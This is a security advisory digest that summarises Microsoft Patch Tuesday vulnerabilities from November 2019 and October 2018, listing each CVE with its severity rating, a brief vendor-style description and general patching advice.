A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
VBScript Remote Code Execution Vulnerability (CVE-2019-1390) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Security Bypass Vulnerability (CVE-2019-1413) MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles extension requests and fails to request host permission for all_urls. An attacker who successfully exploited this vulnerability could trick a browser into installing an extension without the user's consent.
Cumulative Security Update for Microsoft Office
Microsoft Office Security Bypass Vulnerability (CVE-2019-1442) MS Rating: Important
A security bypass vulnerability exists when Microsoft Office does not validate URLs. An attacker could send a victim a specially crafted file, which could trick the victim into entering credentials.
Microsoft SharePoint Information Disclosure Vulnerability (CVE-2019-1443) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SharePoint when an attacker uploads a specially crafted file to the SharePoint Server. An authenticated attacker who successfully exploited this vulnerability could potentially leverage SharePoint functionality to obtain SMB hashes.
Microsoft Office Online Spoofing Vulnerability (CVE-2019-1445) MS Rating: Important
A spoofing vulnerability exists when Office Online does not validate origin in cross-origin communications handlers correctly. An attacker could exploit the vulnerability by sending a specially crafted request to an affected site.
Microsoft Excel Information Disclosure Vulnerability (CVE-2019-1446) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft Office Online Spoofing Vulnerability (CVE-2019-1447) MS Rating: Important
A spoofing vulnerability exists when Office Online does not validate origin in cross-origin communications handlers correctly. An attacker could exploit the vulnerability by sending a specially crafted request to an affected site.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2019-1448) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office ClickToRun Security Bypass Vulnerability (CVE-2019-1449) MS Rating: Important
A security bypass vulnerability exists in the way that Office Click-to-Run (C2R) components handle a specially crafted file, which could lead to a standard user, any AppContainer sandbox, and Office LPAC Protected View to escalate privileges to SYSTEM. To exploit this bug, an attacker would have to run a specially crafted file.
Microsoft Access Information Disclosure Vulnerability (CVE-2019-1402) MS Rating: Important
An information disclosure vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Microsoft Office Excel Security Bypass Vulnerability (CVE-2019-1457) MS Rating: Important
A security bypass vulnerability exists in Microsoft Office software by not enforcing macro settings on an Excel document. This issue by itself does not allow arbitrary code execution.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Graphics Remote Code Execution Vulnerability (CVE-2019-1441) MS Rating: Critical
A remote code execution vulnerability exists when the Windows font library improperly handles specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could take control of the affected system.
Win32k Privilege Escalation Vulnerability (CVE-2019-1393) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1394) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1395) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1396) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1408) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2019-1434) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Information Disclosure Vulnerability (CVE-2019-1436) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Information Disclosure Vulnerability (CVE-2019-1440) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-11135) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-1392) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Hyper-V
Hyper-V Remote Code Execution Vulnerability (CVE-2019-0719) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V Network Switch on a host server fails to properly validate input from an authenticated user on a guest operating system.
Hyper-V Remote Code Execution Vulnerability (CVE-2019-0721) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V Network Switch on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-1389) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-1397) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-1398) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0712) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-1309) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-1310) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-1399) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Security Update for Microsoft Graphics
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2019-1407) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2019-1433) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2019-1435) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2019-1437) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2019-1438) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows GDI Information Disclosure Vulnerability (CVE-2019-1439) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Security Update for Microsoft Windows
Microsoft Windows Media Foundation Remote Code Execution Vulnerability (CVE-2019-1430) MS Rating: Critical
A remote code execution vulnerability exists when Windows Media Foundation improperly parses specially crafted QuickTime media files. An attacker who successfully exploited this vulnerability could gain the same user rights as the local user.
Windows TCP/IP Information Disclosure Vulnerability (CVE-2019-1324) MS Rating: Important
An information disclosure vulnerability exists when the Windows TCP/IP stack improperly handles IPv6 flowlabel filled in packets. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Error Reporting Information Disclosure Vulnerability (CVE-2019-1374) MS Rating: Important
An information disclosure vulnerability exists in the way Windows Error Reporting (WER) handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-1379) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft splwow64 Privilege Escalation Vulnerability (CVE-2019-1380) MS Rating: Important
A local Privilege Escalation Vulnerability exists in how 'splwow64.exe' handles certain calls. An attacker who successfully exploited the vulnerability could elevate privileges on an affected system from low-integrity to medium-integrity.
Microsoft Windows Information Disclosure Vulnerability (CVE-2019-1381) MS Rating: Important
An information disclosure vulnerability exists when the Windows Servicing Stack allows access to unprivileged file locations. An attacker who successfully exploited the vulnerability could potentially access unauthorized files.
Microsoft ActiveX Installer Service Privilege Escalation Vulnerability (CVE-2019-1382) MS Rating: Important
A privilege escalation vulnerability exists when ActiveX Installer service may allow access to files without proper authentication. An attacker who successfully exploited the vulnerability could potentially access unauthorized files.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-1383) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Microsoft Windows Security Bypass Vulnerability (CVE-2019-1384) MS Rating: Important
A security bypass vulnerability exists where a NETLOGON message is able to obtain the session key and sign messages. To exploit this vulnerability, an attacker could send a specially crafted authentication request.
Windows Privilege Escalation Vulnerability (CVE-2019-1385) MS Rating: Important
A privilege escalation vulnerability exists when the Windows AppX Deployment Extensions improperly performs privilege management, resulting in access to system files. To exploit this vulnerability, an authenticated attacker would need to run a specially crafted application to elevate privileges.
Windows Certificate Dialog Privilege Escalation Vulnerability (CVE-2019-1388) MS Rating: Important
A privilege escalation vulnerability exists in the Windows Certificate Dialog when it does not properly enforce user privileges. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Denial of Service Vulnerability (CVE-2019-1391) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Windows UPnP Service Privilege Escalation Vulnerability (CVE-2019-1405) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges.
Windows Remote Procedure Call Information Disclosure Vulnerability (CVE-2019-1409) MS Rating: Important
An information disclosure vulnerability exists when the Windows Remote Procedure Call (RPC) runtime improperly initializes objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1411) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Installer Privilege Escalation Vulnerability (CVE-2019-1415) MS Rating: Important
A privilege escalation vulnerability exists in Windows Installer because of the way Windows Installer handles certain filesystem operations. To exploit the vulnerability, an attacker would require unprivileged execution on the victim system.
Windows Subsystem for Linux Privilege Escalation Vulnerability (CVE-2019-1416) MS Rating: Important
A privilege escalation vulnerability exists due to a race condition in Windows Subsystem for Linux. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Data Sharing Service Privilege Escalation Vulnerability (CVE-2019-1417) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Data Sharing Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Modules Installer Service Information Disclosure Vulnerability (CVE-2019-1418) MS Rating: Important
An information vulnerability exists when Windows Modules Installer Service improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to read the contents of a log file on disk.
Windows Privilege Escalation Vulnerability (CVE-2019-1420) MS Rating: Important
A privilege escalation vulnerability exists in the way that the 'dssvc.dll' handles file creation allowing for a file overwrite or creation in a secured location. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2019-1422) MS Rating: Important
A privilege escalation vulnerability exists in the way that the 'iphlpsvc.dll' handles file creation allowing for a file overwrite. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2019-1423) MS Rating: Important
A privilege escalation vulnerability exists in the way that the 'StartTileData.dll' handles file creation in protected locations. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
NetLogon Security Bypass Vulnerability (CVE-2019-1424) MS Rating: Important
A security bypass vulnerability exists when Windows Netlogon improperly handles a secure communications channel. An attacker who successfully exploited the vulnerability could downgrade aspects of the connection allowing for further modification of the transmission.
DirectWrite Information Disclosure Vulnerability (CVE-2019-1432) MS Rating: Important
An information disclosure vulnerability exists when DirectWrite improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows User Profile Service Privilege Escalation Vulnerability (CVE-2019-1454) MS Rating: Important
A privilege escalation vulnerability exists when the Windows User Profile Service (ProfSvc) improperly handles symlinks. An attacker who successfully exploited this vulnerability could delete files and folders in an elevated context.
Windows Denial of Service Vulnerability (CVE-2018-12207) MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-1406) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for Microsoft Exchange
Microsoft Exchange Remote Code Execution Vulnerability (CVE-2019-1373) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Exchange through the deserialization of metadata via PowerShell. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the logged in user.
Security Update for Azure
Azure Stack Spoofing Vulnerability (CVE-2019-1234) MS Rating: Important
A spoofing vulnerability exists when Azure Stack fails to validate certain requests. An attacker who successfully exploited the vulnerability could make requests to internal Azure Stack resources.
Security Update for Open Enclave SDK
Open Enclave SDK Information Disclosure Vulnerability (CVE-2019-1370) MS Rating: Important
An information disclosure vulnerability exists when affected Open Enclave SDK versions improperly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information stored in the Enclave.
Security Update for Visual Studio
Visual Studio Privilege Escalation Vulnerability (CVE-2019-1425) MS Rating: Important
A privilege escalation vulnerability exists when Visual Studio fails to properly validate hardlinks while extracting archived files. An attacker who successfully exploited this vulnerability could overwrite arbitrary files in the security context of the local system.
Security Update for OpenType Font Driver
OpenType Font Parsing Remote Code Execution Vulnerability (CVE-2019-1419) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts. For all systems except Windows 10, an attacker who successfully exploited the vulnerability could execute code remotely.
OpenType Font Driver Information Disclosure Vulnerability (CVE-2019-1412) MS Rating: Important
An information disclosure vulnerability exists in Windows 'Adobe Type Manager Font Driver (ATMFD.dll)' when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
OpenType Font Parsing Remote Code Execution Vulnerability (CVE-2019-1456) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts. For all systems except Windows 10, an attacker who successfully exploited the vulnerability could execute code remotely.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – October 2018
This month the vendor has patched 49 vulnerabilities, 12 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the October 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Microsoft Azure
Microsoft Windows
Microsoft SQL Server Management Studio
ChakraCore
Microsoft Windows Hyper-V
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8473) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8491) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8500) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8505) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8509) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8510) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8511) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8513) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8460) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Security Bypass Vulnerability (CVE-2018-8512) MS Rating: Important
A security bypass vulnerability exists in Microsoft Edge when the Edge Content Security Policy (CSP) fails to properly validate certain specially crafted documents. An attacker who exploited the bypass could trick a user into loading a page containing malicious content. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Security Bypass Vulnerability (CVE-2018-8530) MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins. The vulnerability allows Microsoft Edge to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8503) MS Rating: Low
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft Exchange Remote Code Execution Vulnerability (CVE-2018-8265) MS Rating: Important
A remote code execution vulnerability exists in the way Microsoft Exchange software parses specially crafted email messages. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the system user.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2018-8448) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Exchange Outlook Web Access (OWA) fails to properly handle web requests. An attacker who successfully exploited this vulnerability could perform script/content injection attacks and attempt to trick the user into disclosing sensitive information.
Microsoft SharePoint Privilee Escalation Vulnerability (CVE-2018-8480) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8488) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8498) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft PowerPoint Security Bypass Vulnerability (CVE-2018-8501) MS Rating: Important
A security bypass vulnerability exists in Microsoft PowerPoint software when the software fails to properly handle objects in Protected View. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Security Bypass Vulnerability (CVE-2018-8502) MS Rating: Important
A security bypass vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in Protected View. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2018-8504) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when the software fails to properly handle objects in Protected View. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8518) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft Azure
Azure IoT Device Client SDK Memory Corruption Vulnerability (CVE-2018-8531) MS Rating: Important
A remote code execution vulnerability exists in the way that Azure IoT Hub Device Client SDK using MQTT protocol accesses objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2018-8453) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2018-8497) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8330) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Windows
MS XML Remote Code Execution Vulnerability (CVE-2018-8494) MS Rating: Critical
A remote code execution vulnerability exists when the Microsoft XML Core Services MSXML parser processes user input. An attacker who successfully exploited the vulnerability could run malicious code remotely to take control of the user's system.
MFC Insecure Library Loading Vulnerability (CVE-2010-3190) MS Rating: Moderate
A remote code execution vulnerability exists in the way that certain applications built using Microsoft Foundation Classes (MFC) handle the loading of DLL files. An attacker who successfully exploited this vulnerability could take complete control of an affected system.
Windows DNS Security Bypass Vulnerability (CVE-2018-8320) MS Rating: Important
A security bypass vulnerability exists in DNS Global Blocklist feature. An attacker who successfully exploited this vulnerability could redirect traffic to malicious DNS endpoints.
Linux On Windows Privilege Escalation Vulnerability (CVE-2018-8329) MS Rating: Important
A privilege escalation vulnerability exists in Windows Subsystem for Linux when it fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code and take control of an affected system.
Microsoft Filter Manager Privilege Escalation Vulnerability (CVE-2018-8333) MS Rating: Important
A privilege escalation vulnerability exists in Filter Manager when it improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute elevated code and take control of an affected system.
NTFS Privilege Escalation Vulnerability (CVE-2018-8411) MS Rating: Important
A privilege escalation vulnerability exists when NTFS improperly checks access. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Theme API Remote Code Execution Vulnerability (CVE-2018-8413) MS Rating: Important
A remote code execution vulnerability exists when "Windows Theme API" does not properly decompress files. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft JET Database Engine Remote Code Execution Vulnerability (CVE-2018-8423) MS Rating: Important
A remote code execution vulnerability exists in the Microsoft JET Database Engine. An attacker who successfully exploited this vulnerability could take control of an affected system.
Microsoft Graphics Components Information Disclosure Vulnerability (CVE-2018-8427) MS Rating: Important
An information disclosure vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could obtain information that could be useful for further exploitation.
Microsoft Graphics Components Remote Code Execution Vulnerability (CVE-2018-8432) MS Rating: Important
A remote code execution vulnerability exists in the way that Microsoft Graphics Components handle objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code on a target system.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8472) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attacker uses it in combination with another vulnerability.
Windows Media Player Information Disclosure Vulnerability (CVE-2018-8481) MS Rating: Important
An information disclosure vulnerability exists when Windows Media Player improperly discloses file information. Successful exploitation of the vulnerability could allow an attacker to determine the presence of files on disk.
Windows Media Player Information Disclosure Vulnerability (CVE-2018-8482) MS Rating: Important
An information disclosure vulnerability exists when Windows Media Player improperly discloses file information. Successful exploitation of the vulnerability could allow an attacker to determine the presence of files on disk.
DirectX Graphics Kernel Privilege Escalation Vulnerability (CVE-2018-8484) MS Rating: Important
A privilege escalation vulnerability exists when the DirectX Graphics Kernel (DXGKRNL) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
DirectX Information Disclosure Vulnerability (CVE-2018-8486) MS Rating: Important
An information disclosure vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8492) MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Windows TCP/IP Information Disclosure Vulnerability (CVE-2018-8493) MS Rating: Important
An information disclosure vulnerability exists when the Windows TCP/IP stack improperly handles fragmented IP packets. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Shell Remote Code Execution Vulnerability (CVE-2018-8495) MS Rating: Important
A remote code execution vulnerability exists when Windows Shell improperly handles URIs. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user.
Microsoft Windows Codecs Library Information Disclosure Vulnerability (CVE-2018-8506)MS Rating: Important
An Information Disclosure vulnerability exists in the way that Microsoft Windows Codecs Library handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft SQL Server Management Studio
SQL Server Management Studio Information Disclosure (CVE-2018-8527) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SQL Server Management Studio (SSMS) when parsing a malicious XEL file containing a reference to an external entity. An attacker who successfully exploited this vulnerability could read arbitrary files via an XML external entity declaration.
SQL Server Management Studio Information Disclosure (CVE-2018-8532) MS Rating: Important
An information disclosure vulnerability exists in Microsoft SQL Server Management Studio (SSMS) when parsing a malicious XMLA file containing a reference to an external entity. An attacker who successfully exploited this vulnerability could read arbitrary files via an XML external entity declaration.
